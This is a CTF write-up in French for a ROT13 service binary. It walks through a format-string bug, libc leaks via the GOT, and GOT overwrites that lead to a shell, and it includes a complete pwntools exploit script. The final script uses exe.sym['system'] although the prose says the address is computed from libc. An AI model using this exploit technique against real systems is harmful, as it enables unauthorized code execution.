ROT13 as a service

La partie reverse du programme est assez rapide puisqu'il fait 10 lignes ^^

Il commence par mettre les `files stream` en unbuffered ce qui va nous arranger pour pouvoir leak des adresses sans devoir attendre un `\n`.

Le code fait récupère une chaine de caractères, effectue un ROT13 sur les lettres (et ne bouge pas les autres octets) puis affiche le décodé avec `printf`.
On a donc un **format string** !

Il y a seulement `partial RELRO` d'activé, on va donc pouvoir jouer avec les entrées de la GOT.
Par contre, la libc n'est pas fournie. Il va donc falloir qu'on la trouve.

Format string exploit

Comme notre buffer est stocké en stack, on va pouvoir retomber dessus avec le format string.

Une petite boucle python qui brute-force le `%<n>$p` permet de trouver que le contenu du buffer se trouve à l'offset 11.

Trouver la libc

Pour trouver la version de libc utilisée, on va leak les pointeurs vers cette dernières dans la *GOT*.

```
p = b'%13$s AA'
p += p32(exe.got['puts'])
io.sendlineafter(b'input: \n',rot(p))

leak = u32(io.recv(4))
print(f'Puts = {leak:x}')
```

On fait ça avec deux/trois fonctions, on met les 12 bits de poids faible dans `https://libc.blukat.me/`. Et on trouve la libc `libc6-i386_2.35-0ubuntu3_amd64.so` !!

Exploit

Maintenant qu'on a la libc,on va pouvoir faire notre exploit.
Le plan d'attaque vas donc être de leak une adresse libc, calculer l'adresse de `system` et la mettre dans la GOT.

Mais pour ça on va avoir besoin de faire deux format string !
Par chance, le développeur appelle une fonction libc après notre format string (exit). On va donc pouvoir mettre l'adresse de `main` dans l'entrée GOT de `exit` pour relancer le programme et avoir une seconde fmt.

Grâce à cette deuxième fmt, on va mettre `system` dans l'entrée GOT de `printf` pour pouvoir choisir le paramètre de `system`.
Et comme la GOT de `exit` n'a pas bougée, ça va relancer le programe une troisième fois.

Et pour cette fois on a plus qu'a envoyer `/bin/sh` encodé en ROT13 et on récupère un shell.

Script

```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import string

exe = context.binary = ELF('./rot13')
libc = ELF('libc6-i386_2.35-0ubuntu3_amd64.so')

host = args.HOST or '10.22.6.20'
port = int(args.PORT or 1338)

rot13 = str.maketrans(
    'ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz',
    'NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm')

def rot(msg):
    o = b''
    for i in msg:
        if chr(i) in string.ascii_lowercase or chr(i) in string.ascii_uppercase:
            a = chr(i).translate(rot13).encode()
        else:
            a = p8(i)
        o += a
    return o

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
```

```
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

context.terminal = ['xfce4-terminal','-e']
gdbscript = '''
b *main+204
continue
'''.format(**locals())

# -- Exploit goes here --

io = start()

# Leak libc
p = fmtstr_payload(11, {(exe.got['exit']): exe.sym['main']})
p += b'AAAA'
p += p32(exe.got['puts'])
p += b'%24$s'
print(len(rot(p)))
io.sendlineafter(b'input: \n',rot(p))
io.recvuntil(b'AAAA')
io.recv(4)
leak = u32(io.recv(4))
libc.address = leak - libc.sym['puts']

print(f'{leak = :x} {libc.address = :x}')

# Exploit
fmt = fmtstr_payload(11, {exe.got['printf']: exe.sym['system']})
io.sendline(rot(fmt))


io.sendline(rot(b'/bin/sh'))

io.interactive()
```